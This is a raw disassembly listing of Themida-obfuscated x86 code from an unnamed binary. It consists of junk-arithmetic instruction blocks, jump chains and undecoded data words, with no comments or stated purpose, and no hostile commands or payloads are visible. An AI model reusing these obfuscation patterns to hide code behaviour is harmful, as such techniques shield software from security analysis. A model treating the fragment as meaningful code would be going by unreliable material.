--------------------------------------------------------------------------- loc_545206: ; CODE XREF: Themida_:00549009j pop eax mov esi, ebx pop ebx shr esi, 4 jmp loc_547928 ; --------------------------------------------------------------------------- loc_545212: ; CODE XREF: Themida_:005498C7j add esp, 4 mov eax, edi jmp loc_548322 ; --------------------------------------------------------------------------- db 4Fh dd 4665B951h, 0E9816812h, 5980E545h, 0E959CF31h, 9275h dd 68h, 240C2900h, 8305E9h, 0E9028F00h, 0FFFFE7D8h ; --------------------------------------------------------------------------- loc_545248: ; CODE XREF: Themida_:00543C82j add ebp, 4 xchg ebp, [esp] pop esp xor edx, 605F3CE3h sub esp, 4 jmp loc_54E8BF ; --------------------------------------------------------------------------- dd 5C241C87h, 8702C083h, 248B2404h, 48B6624h, 7F616824h dd 4890000h, 4EC8324h, 81242489h, 42404h, 68580000h, 7C67h dd 0BA241489h, 4, 82E9D001h, 81000002h, 7C4976F1h, 59C8014Ah dd 57241C8Bh, 3FE9E789h, 89000034h, 54512434h, 30A2E959h dd 0C4810000h, 4, 83241C8Bh, 0F79304C4h, 5B5053D0h, 0E9535758h dd 23D4h, 4925F281h, 0D389967Ch, 51FB015Ah, 0A4BD5552h dd 0E942A140h, 8252h ; --------------------------------------------------------------------------- loc_5452EC: ; CODE XREF: Themida_:00549B79j add ah, 9Eh jmp loc_54A49B ; --------------------------------------------------------------------------- dd 612DF801h, 8B114F3Eh, 0C483243Ch, 0E8E95004h, 87000030h dd 295C242Ch, 241C8BD8h, 0FFFC4FE9h, 0E0C280FFh, 0B7E9CA00h dd 89FFFFEDh, 4C581E5h, 83000000h, 2C3304C5h, 242C3124h dd 8B242C33h, 15E92424h, 66000052h, 83240C8Bh, 148904ECh dd 69F2E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54534A: ; CODE XREF: Themida_:0054C8BEj add esp, 4 loc_545350: ; DATA XREF: ___:off_43D394o mov [edi+20h], ebx jmp loc_546731 ; --------------------------------------------------------------------------- loc_545358: ; CODE XREF: Themida_:00547620j mov [esp], ebx push esi push 53332B6Ah mov esi, [esp] add esp, 4 mov ebx, 9AC55BD3h sub ebx, esi jmp loc_5483A5 ; --------------------------------------------------------------------------- dw 0B850h dd 4, 909FE9h, 9AC68100h, 2968000Fh, 875A5EF1h, 248B240Ch dd 4A30F24h, 85E99C24h, 0BAFFFFE6h, 4, 9CE9D701h, 81000012h dd 4C7h, 5CC76800h, 0C890000h, 4D8FB924h, 0E9492B3Fh, 439Ah dd 40558h, 42D0000h, 87000000h, 0CFE92404h, 0F7000043h dd 81D5F7DDh, 511442F5h, 52ED810Fh, 1D611F8h, 0FCE95DEFh dd 8B00001Eh, 0C483240Ch, 3E1C104h, 81E78957h, 4C7h, 0F161E900h dd 14F7FFFFh, 0FD08E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54540A: ; CODE XREF: Themida_:0054695Dj push ebp push 631Bh mov [esp], esp jmp loc_54B234 ; --------------------------------------------------------------------------- loc_545418: ; CODE XREF: Themida_:005495B7j add esp, 4 push edx jmp loc_543E20 ; --------------------------------------------------------------------------- db 81h, 0F3h, 53h dd 811A2005h, 12FB89EBh, 5BDD09D1h, 0CD81D5F7h, 377C5A48h dd 31DAF581h, 0EA01D656h, 3239E95Dh, 0C42C0000h, 0F800712Ch dd 52517104h, 0D1887BB2h, 7FA1E95Ah, 0B5510000h, 59E82835h dd 2ADE9h, 0D0C0BD00h, 0DD01C63Bh, 8BE9895Bh, 0C481242Ch dd 4, 4EC1E981h, 0E1C15DD6h, 36AEE905h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545486: ; CODE XREF: Themida_:00547A30j mov eax, 0D1B7D44Ch sub ecx, eax pop eax add ebx, ecx pop ecx jmp loc_54D960 ; --------------------------------------------------------------------------- dw 815Eh dd 6F04E4C7h, 6716E96Dh, 81580000h, 4C4h, 243C3300h, 33243C31h dd 3E9243Ch db 0Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5454B7: ; CODE XREF: Themida_:00548E95j mov [esp], ebx push ecx sub esp, 4 mov [esp], esi mov esi, 3DBB4628h mov ecx, esi pop esi push 1C25h mov [esp], ebp push 387A78F2h mov ebp, [esp] add esp, 4 or ebp, 505772FCh shr ebp, 1 push esi push ebp mov ebp, 41F03B7Dh sub ebp, 419C532Bh not ebp jmp loc_547830 ; --------------------------------------------------------------------------- dw 4BDh dd 1000000h, 5D04246Ch, 4BD5559h, 1000000h, 0BB535DE9h dd 4, 84E3E9h, 57565A00h, 321BE9h, 87A6800h, 815F0A06h dd 60878F7h, 5FFE890Ah, 30A8E9h db 0 ; --------------------------------------------------------------------------- loc_545539: ; CODE XREF: Themida_:0054799Bj shr ebx, 7 push esi mov esi, 61AC71F7h not esi or esi, 2D507F7h shr esi, 1 push ecx mov ecx, 4C9B64D4h or esi, ecx pop ecx sub esi, 6819048Eh xor esi, 0E792135Ch add ebx, 10FB5C2Ch sub ebx, esi push ecx mov ecx, 10FB5C2Ch sub ebx, ecx pop ecx jmp loc_54DA0B ; --------------------------------------------------------------------------- db 33h dd 248B240Ch, 302CE924h, 0E2C00000h, 0BACA8003h, 88BCF280h dd 0C1005AD1h, 8324048Bh, 0E98004C4h, 59C830E9h, 23B45066h dd 82C380h, 82B151E3h, 6659CB28h, 4CEB8058h, 54F4E9h, 0FBE5600h dd 81313562h, 0F3C18EEh, 58BBE914h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5455C6: ; CODE XREF: Themida_:005449E3j mov edi, esp push esi mov esi, 5D925FCBh xor esi, 36157F28h neg esi xor esi, 9478DF19h add edi, esi pop esi sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], edi push 1E051C71h pop edi jmp loc_54B4DD ; --------------------------------------------------------------------------- aSsnx db 'Séx',0 align 4 loc_5455FC: ; CODE XREF: Themida_:00546910j and eax, edx jmp loc_54BBE7 ; --------------------------------------------------------------------------- db 0BEh dd 2, 348BF501h, 4C48124h, 33000000h, 2C31242Ch, 242C3324h dd 6624248Bh, 2404A30Fh, 0E3F6E99Ch, 0CEBAFFFFh, 816B7558h dd 0B82CAAE2h, 2E2C115h, 8E3DE9h, 685800h, 0FF000000h dd 1C8B2434h, 4C48124h, 50000000h, 8904EC83h, 4832424h dd 48B0424h, 4C48324h, 697B951h, 0C981168Eh, 51021426h dd 0E94DC181h, 0C801A871h, 9C65E9h, 4836600h, 8F660224h dd 9FE92404h, 0FF000016h, 48B2434h, 4EC8324h, 9C7CE9h dd 0EB815900h, 4, 31241C33h, 1C33241Ch, 24248B24h, 89240C89h dd 4C181E1h, 56000000h, 8A4A3FBEh, 4EE4E94Dh, 315F0000h dd 0EA895FFDh, 599DE95Dh, 0C3040000h, 8324148Bh, 3E904C4h dd 900008Eh, 6FCCE9D5h, 815E0000h, 7C21242Ch, 4292C5Eh dd 24048124h, 2C5E7C21h, 11242C81h, 560F6D4Fh, 313EEABEh dd 2474295Fh, 0A2C9E904h, 26B20000h, 0D0283EB0h, 3CCBE95Ah dd 0B6520000h, 50DEF6CEh, 0C8FEF088h, 7F8EE9h, 63BA5200h dd 0E92CB01Bh, 0FFFFFFABh, 5E2434FFh, 4C481h, 0D2E90000h dd 6600001Dh, 5724048Bh, 3611E9h, 815F5D00h, 941F56EFh dd 81F7010Ah, 941F56C7h, 24348B0Ah, 4C481h, 6DE90000h dd 81000057h, 21522AC2h, 28EA8179h, 8161BC70h, 491313EEh dd 0E9D6010Eh, 8A6Fh, 2C78358h, 85C3E9h, 0E296E900h, 1405FFFFh dd 0E9EA3DAEh, 0FFFFEE94h, 36A7E981h, 0E9C1219Eh, 0EB31E904h dd 77FFFFFFh, 58669D1Ch, 24041166h, 0E26EE99Ch, 0C8BFFFFh dd 4C48324h, 0E958C788h, 74EDh, 0FDEFE953h, 1C87FFFFh dd 24248B24h, 9C2404D3h, 0FFE24BE9h, 34FF54FFh, 9D51E924h dd 87250000h, 50A6302h, 0A4D2D60Dh, 0E958C201h, 1368h dd 0FFE22BE9h, 2434FFFFh, 4EC815Fh, 0E9000000h, 2EDFh dd 895DEF89h, 2434FFF9h, 4C4835Fh, 4CB6E949h, 0EE200000h dd 0E6805966h, 0E77AE988h, 7005FFFFh, 2D372C72h, 2B2903E2h dd 1170E9h, 0AAB05000h, 70D2E9h, 241CF600h, 9BFBE99Ch dd 0CD30000h, 0D5E99C24h, 81FFFFE1h, 0EF1F20F3h, 2DE3BE10h dd 0EE8173E6h, 31343213h, 9D0EE9h db 0 ; --------------------------------------------------------------------------- loc_545861: ; CODE XREF: Themida_:00548123j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp xor cl, 4 jmp loc_54D96B ; --------------------------------------------------------------------------- dd 9C242CD3h, 0FFE19FE9h, 5FE953FFh, 88000061h, 5AD188E2h dd 59CE0858h, 3075F680h, 0BBE95AF0h, 81FFFFE8h, 0FA0D8ACBh dd 52F6E94Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5458A6: ; CODE XREF: Themida_:0054E177j not edx shl edx, 8 push esi mov esi, 3ABE5D40h dec esi not esi push ecx mov ecx, 387F6325h sub esi, ecx jmp loc_54EEDB ; --------------------------------------------------------------------------- loc_5458C1: ; CODE XREF: Themida_:00543E1Bj mov ebp, 3A7F6634h neg ebp inc ebp sub ebp, 883C9735h add ebx, ebp pop ebp pop ecx sub ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp mov [esp], edx push eax pushf jmp loc_543A20 ; --------------------------------------------------------------------------- db 0BDh, 0C3h, 63h dd 0EE016AE8h, 9081E9h, 81C52900h, 27778C5h, 0C7815845h dd 90A2B0Ch, 7AC3E9h, 242C8900h, 0C581E589h, 4, 0E904C583h dd 0FFFFF9E7h ; --------------------------------------------------------------------------- loc_545920: ; CODE XREF: Themida_:0054642Dj xor ebx, 699F7FECh add ebp, ebx pop ebx jmp loc_54D209 ; --------------------------------------------------------------------------- dw 0F766h dd 0E99C241Ch, 0FFFFE0E8h ; --------------------------------------------------------------------------- loc_545938: ; CODE XREF: Themida_:00545190j add esi, 0C9C09A0Bh add ecx, esi pop esi or ecx, 700F7AD5h jmp loc_54F927 ; --------------------------------------------------------------------------- dd 4C281h, 0EA810000h, 4, 2474FF52h, 2434FF04h, 4C4835Ah dd 8B24048Fh, 36E92424h, 89000026h, 6AE9241Ch, 0FF000054h dd 0A1E94077h, 5BFFFFE0h, 8CE9C6FEh, 50000040h, 4B8h, 58C10100h dd 6C6ABA52h, 0EA813E35h, 574F74B9h, 42DB850h, 404844A9h dd 66650C0Dh, 692A057Ah, 88E918D4h, 5000004Fh, 4A3FD3B8h dd 7F53E921h, 68660000h, 896671B9h, 50662414h, 0E052E99Ch dd 0FA68FFFFh, 5D3D507Fh, 4246C01h, 40478F5Dh, 26BD5550h dd 6825793Dh, 3C5Fh, 0E9242C89h, 3E7Eh, 0FFE02BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5459F5: ; CODE XREF: Themida_:00549532j pop ebx push esi mov esi, esp add esi, 4 push edx mov edx, 4 add esi, edx pop edx xchg esi, [esp] jmp loc_54AE8C ; --------------------------------------------------------------------------- aYaiAi3 db '(ÈY€ëÕ€ë3',0 dw 80C3h dd 0CAE933C3h, 53000012h, 0C381E389h, 4, 4C381h, 1C870000h dd 96685C24h, 8900000Ch, 6DE9240Ch, 5B000070h, 0E9505166h dd 16A2h, 0E955B353h, 9C7Bh, 0FFDFC7E9h db 0FFh ; --------------------------------------------------------------------------- loc_545A59: ; CODE XREF: Themida_:0054C5E5j sub esp, 4 jmp loc_54C229 ; --------------------------------------------------------------------------- aL4S db '‹4$é"%',0 align 4 dd 24248B66h, 0FFDFABE9h db 0FFh ; --------------------------------------------------------------------------- loc_545A75: ; CODE XREF: Themida_:0054F4E7j add ecx, 2E62308Eh shl ecx, 6 sub ecx, 44F77C29h push edi mov edi, 7EFB7029h or edi, 5E4913E4h not edi jmp loc_548068 ; --------------------------------------------------------------------------- aTsrs db 'Téà‘',0 db 0 ; --------------------------------------------------------------------------- loc_545A9D: ; CODE XREF: Themida_:0054A929j mov esi, 3AB7040Fh jmp loc_543DC6 ; --------------------------------------------------------------------------- db 66h dd 0D0F76648h, 7E0C166h, 5F580566h, 2D664866h, 31667FCFh dd 24048BC5h, 5A04C483h, 24448166h, 660E4B02h, 2246C01h dd 246C8166h, 660E4B02h, 0DF42E95Dh, 6855FFFFh, 454F330Ah dd 3A4EE9h db 0 ; --------------------------------------------------------------------------- loc_545AE9: ; CODE XREF: Themida_:00547E72j or esi, edi jmp loc_54B55B ; --------------------------------------------------------------------------- dd 8304C483h, 94E904ECh db 27h, 2 dup(0) ; --------------------------------------------------------------------------- loc_545AFB: ; CODE XREF: Themida_:00548833j mov [esp], ebp jmp loc_54D8A1 ; --------------------------------------------------------------------------- loc_545B03: ; CODE XREF: Themida_:0054A27Bj cmp eax, edx jz loc_544D07 sub esp, 4 mov [esp], ebx push 69A333FDh jmp loc_544648 ; --------------------------------------------------------------------------- loc_545B1B: ; CODE XREF: Themida_:005449C1j mov eax, [esp] add esp, 4 jmp loc_54BFEE ; --------------------------------------------------------------------------- dw 5455h dd 4C5815Dh, 56000000h, 2B1EE9h db 0 ; --------------------------------------------------------------------------- loc_545B35: ; CODE XREF: Themida_:0054813Cj push ebx mov ebx, 4 add ebp, ebx pop ebx xchg ebp, [esp] jmp loc_544E9F ; --------------------------------------------------------------------------- dw 74FFh dd 8F5F0424h, 895C2404h, 2BD242Ch, 0E9000000h, 66DDh, 80ACEF80h dd 0C7FEBEEFh, 80C6EF80h, 0F800E0C7h, 83241C8Bh, 5B0404C4h dd 2EC81h, 89660000h, 0D2E9241Ch, 5400004Eh, 9E78E9h db 0 ; --------------------------------------------------------------------------- loc_545B89: ; CODE XREF: Themida_:0054F6A5j pop eax sub esp, 4 jmp loc_544C7D ; --------------------------------------------------------------------------- dw 6857h dd 39FD5AFFh, 4743E95Fh, 0EF680000h, 0E968080Ch, 9712h dd 4023E952h, 8B660000h, 68522404h, 10D7h, 0E9242489h dd 9312h ; --------------------------------------------------------------------------- loc_545BC0: ; CODE XREF: Themida_:0054C288j add ebp, esi jmp loc_54DA35 ; --------------------------------------------------------------------------- db 5Ch dd 3B04C483h, 0B8E99CC8h db 1Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_545BD3: ; CODE XREF: Themida_:00545E6Cj jmp loc_543A20 ; --------------------------------------------------------------------------- dd 2414F753h, 56F4E9h, 0E9E20000h, 2679h, 31DBB951h, 0CB2953B5h dd 0B8505159h, 70E6017Dh, 0F44B2035h, 58C18932h, 3159CB29h dd 241C8BD8h, 3104C483h, 0EC8151C3h, 4, 50241C89h, 0D4E97FB0h db 0E2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_545C1F: ; CODE XREF: Themida_:00548966j xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] shl dword ptr [esp], cl pushf jmp loc_543A20 ; --------------------------------------------------------------------------- loc_545C34: ; CODE XREF: Themida_:00544EA0j push 263Eh mov [esp], ebp push esi mov esi, 0A967B45h jmp loc_5445FF ; --------------------------------------------------------------------------- aIU1usC db '‰Þ[U½ =-',27h,'1îé%—',0 db 0 ; --------------------------------------------------------------------------- loc_545C57: ; CODE XREF: Themida_:00546116j push esi mov esi, 49B8578Ah jmp loc_54C514 ; --------------------------------------------------------------------------- dw 2C8Bh dd 0E3895324h, 4C381h, 0C3830000h, 241C8704h, 2BD555Ch dd 29000000h, 1C875DEBh, 24248B24h, 0FFF378E9h db 0FFh ; --------------------------------------------------------------------------- loc_545C89: ; CODE XREF: Themida_:00546EFDj sub esp, 4 mov [esp], ebp jmp loc_54D1DF ; --------------------------------------------------------------------------- dd 552CB850h, 0C6291C08h, 57E0E9h, 240C8900h, 88DE8852h dd 24148BF1h, 4C481h, 0C880000h, 240C8B87h, 4C481h, 34FF0000h dd 441CE924h, 0E9AC0000h, 4304h, 0ABE95954h, 5D00003Eh dd 971AE9h db 0 ; --------------------------------------------------------------------------- loc_545CD9: ; CODE XREF: Themida_:0054BF3Fj or edi, 38A74808h not edi dec edi or edi, 5AC91DA5h jmp loc_54D9E2 ; --------------------------------------------------------------------------- aUqss db 'UQé™',27h,0 align 4 loc_545CF4: ; CODE XREF: Themida_:0054D9EAj pop edi xor eax, edx jmp loc_54D8B1 ; --------------------------------------------------------------------------- loc_545CFC: ; CODE XREF: Themida_:00544D6Bj sub eax, ebp add eax, 0E9D2EFEh mov ebp, [esp] sub esp, 4 mov [esp], ecx jmp loc_54DE0F ; --------------------------------------------------------------------------- loc_545D14: ; CODE XREF: Themida_:0054E039j shl ebp, 1 and ebp, 21FF1393h jmp loc_54ED01 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 5A2434FFh, 4C481h, 7E680000h, 8900006Bh, 0E589242Ch dd 331C68h, 243C8900h, 26D5E9h db 0 ; --------------------------------------------------------------------------- loc_545D45: ; CODE XREF: Themida_:00545045j add edi, 0C4CCBC8Eh add edx, edi pop edi sub edx, 4 xchg edx, [esp] pop esp mov [esp], edi mov edi, esp add edi, 4 add edi, 4 jmp loc_548B55 ; --------------------------------------------------------------------------- db 81h dd 0F556D2C2h, 47F4E913h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545D76: ; CODE XREF: Themida_:0054DF8Cj pop ecx sub ah, 0BCh mov dl, ah mov eax, [esp] jmp loc_54E5F8 ; --------------------------------------------------------------------------- dd 0F63F03BFh, 2BC78175h, 0F7581600h, 0D5F781D7h, 131F3C0h dd 0CF685FF9h, 89000040h, 2BD242Ch, 1000000h, 242C8BE9h dd 8704C483h, 248B240Ch, 0A16E924h, 685C0000h, 110Eh, 0E9242C89h dd 9A9Ah ; --------------------------------------------------------------------------- loc_545DC8: ; CODE XREF: Themida_:0054A7A5j mov esp, [esp] sub esp, 4 mov [esp], edx push ebx jmp loc_5491A2 ; --------------------------------------------------------------------------- loc_545DD7: ; CODE XREF: Themida_:005451F8j mov ecx, [esp] add esp, 4 pop eax push edx jmp loc_54D389 ; --------------------------------------------------------------------------- dd 30FF6658h, 0FFDC33E9h db 0FFh ; --------------------------------------------------------------------------- loc_545DED: ; CODE XREF: Themida_:0054FAC2j add eax, 4 push 2816h mov [esp], ebx mov ebx, 4 jmp loc_5449D8 ; --------------------------------------------------------------------------- loc_545E04: ; CODE XREF: Themida_:0054817Bj add ebx, ebp pop ebp jmp loc_54C8A8 ; --------------------------------------------------------------------------- dd 8124148Bh, 4C4h, 4CEB8100h, 0E924B544h, 1FCEh, 5EAC15Ah dd 6AF2814Ah, 89607166h, 0D1F75AD1h, 0CA5C181h, 0E98116B9h dd 366E082Ch, 0A5DCF181h, 0C8017CB7h, 74FF5059h, 48B0424h dd 5A545224h, 8707E957h, 0C5E90000h db 0DBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_545E5B: ; CODE XREF: Themida_:0054D539j add eax, 42B951EDh add eax, ecx sub eax, 42B951EDh pop ecx xchg eax, [esp] pop esp jmp loc_545BD3 ; --------------------------------------------------------------------------- db 81h, 0E9h, 4 dd 51000000h, 7925E9h, 0D8295A00h, 55D8015Bh, 324263BDh dd 5DE80137h, 431368h, 242C8900h, 75B5CBDh, 0E5C14573h dd 3B0DE908h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545EA2: ; CODE XREF: Themida_:0054AEA8j pop eax xchg eax, [esp] pop ecx push ebx mov ebx, 0FE77D7FDh sub ecx, ebx pop ebx push ebp push ebx mov ebx, ecx mov ebp, ebx pop ebx mov eax, ebp pop ebp mov ecx, [esp] add esp, 4 shl eax, cl push eax jmp loc_54C99D ; --------------------------------------------------------------------------- db 33h dd 248B243Ch, 240CD224h, 0DB46E99Ch, 79B2FFFFh, 0E95AD788h dd 0FFFFEBCCh, 9FC5805Ah, 99C580h, 99ED80FDh, 0E99FED80h dd 69FBh ; --------------------------------------------------------------------------- loc_545EF8: ; CODE XREF: Themida_:00543A4Ej and ecx, ebp pop ebp shr ecx, 2 push 34D9h mov [esp], ebx push dword ptr [esp] jmp loc_548698 ; --------------------------------------------------------------------------- aBxS1ba1 db 'å¸=™1í1ÜÔ',0 dw 0EA29h dd 63EA815Dh, 162C722h, 63C281EAh, 8162C722h, 432877C2h dd 24CBE910h, 81590000h, 4C4h, 0DADEE900h, 42DFFFFh, 0E9000000h dd 6FAEh ; --------------------------------------------------------------------------- loc_545F4C: ; CODE XREF: Themida_:00546813j add edi, 105EAC20h jmp loc_549BC0 ; --------------------------------------------------------------------------- db 68h dd 44C36827h, 5E1C159h, 9DCBE56h, 0ADE96C13h, 81000004h dd 6C56A0C9h, 8B63E92Ah, 0EA010000h, 4BE565Dh, 0E9000000h dd 56DFh, 0BE243489h, 4, 774EF81h, 0F7011F33h, 774C781h dd 85E91F33h, 83FFFFDDh, 0A5E904ECh db 0EBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_545FA7: ; CODE XREF: Themida_:0054869Cj mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push ebx mov ebx, esp push eax mov eax, 4 add ebx, eax pop eax push esi jmp loc_54C2F2 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 88000000h, 0E901875Ch, 9AEFh, 0E905E9C1h, 73A1h, 0E902C683h dd 529Bh, 68665B2Ch, 66E90C32h, 66000098h, 68240C8Bh, 615Ch dd 89241489h, 1BE56E2h, 57475A0Ah, 5A0A05BFh, 0E9FE3147h dd 0FFFFDFE7h, 8B243433h, 0BE562424h, 5F313EEAh, 4247401h dd 5124348Bh, 0BA52E189h, 4, 5A52E981h, 0D1010454h, 5A52C181h dd 2EE90454h, 8100006Bh, 1E698BC3h, 67E94Fh, 0A3680000h dd 8900001Ch, 0E0892404h, 2CAAE9h, 2434FF00h, 5724148Bh dd 0C781E789h, 4, 8704C783h, 685C243Ch, 14E1h, 7B8AE9h dd 2434FF00h, 592434FFh, 4C481h, 97E90000h, 2D000028h dd 15E14719h, 1905F001h, 5615E147h, 0A56CB3BEh, 5EF00150h dd 5124348Bh, 0C181E189h, 4, 0FFE86CE9h, 81D301FFh, 1E698BEBh dd 26E95A4Fh db 2Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5460C3: ; CODE XREF: Themida_:00548EDBj push ebx mov ebx, 3E942DD3h or esi, ebx pop ebx dec esi jmp loc_54BD7A ; --------------------------------------------------------------------------- dw 0EE81h dd 0AF199ECCh, 348BF189h, 4C48124h, 0F7000000h, 1C4FE9D9h dd 19BB0000h, 81155017h, 497F05E3h, 5245E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5460FA: ; CODE XREF: Themida_:0054E8DDj push ebx push 2087h mov [esp], edx push 0B5302B2h mov edx, [esp] add esp, 4 mov ebx, edx mov edx, [esp] push ecx push esp pop ecx jmp loc_545C57 ; --------------------------------------------------------------------------- db 89h dd 0B4502414h, 1FB8E9E6h, 0E9810000h, 4, 5C240C87h, 89243489h dd 4C681E6h, 81000000h, 4C6h, 24348700h, 5809E9h, 4B086800h dd 14890000h, 17EFE924h, 81490000h, 0D72078C1h, 59CF31E3h dd 87CF8147h, 8136B501h, 0E3914FEFh, 5FFE2998h, 2C6835Dh dd 4A6BE9h, 289FB500h, 665966E8h, 0EC81535Ah, 4, 83240489h dd 0E1E904ECh db 63h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546193: ; CODE XREF: Themida_:0054D8ACj add eax, ebp sub eax, 5F077B0Bh mov ebp, [esp] push 211h jmp loc_54EEC4 ; --------------------------------------------------------------------------- db 0FFh dd 56582434h, 0C681E689h, 4, 9499E950h, 248B0000h, 0C896624h dd 0B60F6624h, 227AE9C8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5461CA: ; CODE XREF: Themida_:0054B0CFj mov esi, [esp] add esp, 4 jmp loc_54EE7E ; --------------------------------------------------------------------------- dd 0FF243C89h, 5F042474h, 5C24048Fh, 9C2404FFh, 75BEE9h dd 64E98100h, 8B39A664h, 0C481241Ch, 4, 0E904C183h, 15C4h dd 918BF57h, 0F8891463h, 6B62055Fh, 8C2D6667h, 0E9650822h dd 0FFFFF56Eh, 5F240489h, 0BDC78158h, 0E90057F7h, 7853h ; --------------------------------------------------------------------------- loc_54622C: ; CODE XREF: Themida_:0054460Aj add ecx, 0C595F53h pop ebp mov eax, ecx push dword ptr [esp] pop ecx add esp, 4 push 4139h mov [esp], edi jmp loc_54EE38 ; --------------------------------------------------------------------------- loc_546249: ; CODE XREF: Themida_:0054BB51j shr ah, 3 add ah, 54h jmp loc_54D6CD ; --------------------------------------------------------------------------- dd 64F26866h, 0FFD873E9h, 0ACC581FFh, 8B50C955h, 0C481243Ch dd 4, 0E904C583h, 6F2Dh, 0E95BD989h, 0FFFFF01Fh, 75E7F281h dd 0DA31014Fh, 0DA31D331h, 0F174E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54628E: ; CODE XREF: Themida_:0054E399j add ebx, 4 push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edx push ebx mov ebx, 3EF54972h mov edx, ebx pop ebx xor edx, 3EF54976h add ebx, edx pop edx xchg ebx, [esp] mov esp, [esp] div ecx push ebx mov ebx, esp push ecx push ebp push ecx mov ecx, 11EE0970h add ecx, 6A1620F1h jmp loc_54F6F3 ; --------------------------------------------------------------------------- db 0F7h dd 0E99C241Ch, 0FFFFD740h, 4EC81h, 14890000h, 6CD1E924h dd 0C4830000h, 36E95704h, 1000088h, 698405C8h, 34FF7978h dd 84B7E924h, 0E9570000h, 3053h, 2CE8005Ah, 0B65259ECh dd 3E65E97Fh, 4870000h, 30E95C24h, 81000076h, 89174CEEh dd 0E9F331EDh, 4794h, 0A37D4725h, 2B750559h, 8C0502F1h dd 81FCEEC8h, 0D66EA7C6h, 81C6014Bh, 0D66EA7EEh, 0C683584Bh dd 24343302h, 0E9243431h, 85CAh, 15DEF01h, 243C8BFAh, 0E904C483h dd 0FFFFD6B4h, 4C4835Ah, 31242C33h, 2C33242Ch, 24248B24h dd 0E92424D3h, 0FFFFD69Ch ; --------------------------------------------------------------------------- loc_546384: ; CODE XREF: Themida_:0054DE1Aj sub edi, 6FBE1690h shl edi, 1 add edi, 0DD8DB9BAh jmp loc_547683 ; --------------------------------------------------------------------------- db 0BBh dd 4, 15BDD89h, 5D04246Ch, 0D9E95759h, 5AFFFFF9h, 215FF889h dd 48B2047h, 8024E924h, 335E0000h, 0C31240Ch, 240C3324h dd 3024248Bh, 0E99C2404h, 0FFFFD650h, 4BD55h, 9AE90000h dd 88000066h, 0D8F65BD8h, 8934D8F6h, 0D0F6D0F6h, 88E95F34h db 67h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5463EF: ; CODE XREF: Themida_:00549D96j shr ch, 4 jmp loc_54DF83 ; --------------------------------------------------------------------------- db 0BDh dd 5C767D25h, 0F708EDC1h, 3E5C1D5h, 49A0C581h, 0E5C1309Ah dd 48F58107h, 0E9D430F6h, 0FFFFD977h, 4DE9F121h, 8F000018h dd 0D5FAE902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_546426: ; CODE XREF: Themida_:0054B184j or ebx, 499A7BC5h inc ebx jmp loc_545920 ; --------------------------------------------------------------------------- dw 148Bh dd 160AE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54643A: ; CODE XREF: Themida_:0054DE4Ej pop ecx add ecx, 4 sub ecx, 4 jmp loc_54C36D ; --------------------------------------------------------------------------- db 5Eh, 50h, 0B8h dd 2, 4238E9h, 4EC8100h, 89000000h, 268240Ch, 8B000000h dd 0C483240Ch, 23BD5504h, 0F7355E68h, 81DDF7DDh, 0ED3F1FE5h dd 7E5C167h, 0FFFFED81h, 0F581FFFFh, 0A7B04EBAh, 15DEA01h dd 3BEA81CAh, 0E901A44Fh, 0FFFFD619h, 240C8B66h, 88E95452h dd 66000064h, 5024048Bh, 5AAE9h db 0 ; --------------------------------------------------------------------------- loc_5464AD: ; CODE XREF: Themida_:0054F069j xchg ebx, [esp] mov esp, [esp] sub edx, ecx pop ecx and eax, edx pop edx or eax, eax jmp loc_548E8A ; --------------------------------------------------------------------------- dd 6624248Bh, 8124148Bh, 4ECh, 24148900h, 0C281E289h, 4 dd 0FFFF78E9h, 0E08950FFh, 2ECFE9h, 58F48000h, 8058E100h dd 0C1FE92C1h, 0E0E980h, 0C70059C8h, 8BF82858h, 0ACE9241Ch dd 0FF00008Dh, 0D516E932h, 0BE56FFFFh, 4, 15EF089h, 343358C6h dd 24343124h, 8B243433h, 48B2424h, 4C48324h, 0B7ED035h dd 30FF6636h, 0FFD4EBE9h, 0EA815AFFh, 2950F79h, 4051685Eh dd 34890000h, 514BE24h, 25E95664h db 2Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_54654F: ; CODE XREF: Themida_:00547817j xor esi, 34EA5B70h sub ebp, esi pop esi push ebp sub esp, 4 jmp loc_54F2F4 ; --------------------------------------------------------------------------- dd 3159C889h, 0F78158C7h, 2B0F72DBh, 25D9E9h, 0AE95200h dd 5C000010h, 9C2424D2h, 0FFD49BE9h, 0D7015DFFh, 53E0E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_54658E: ; CODE XREF: Themida_:0054D1FCj add esi, 11800317h sub esi, 393A45D7h push 0 push dword ptr [esp] jmp loc_54C6E0 ; --------------------------------------------------------------------------- db 5Eh dd 88E9EE89h, 0B9FFFFE6h, 5E1F2745h, 4244C01h, 24048B59h dd 2D04C483h, 5E1F2745h, 200BE9h, 2C8B5400h, 9EEE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5465D2: ; CODE XREF: Themida_:0054DACFj push edx push eax push 47DE131Dh pop eax jmp loc_54E221 ; 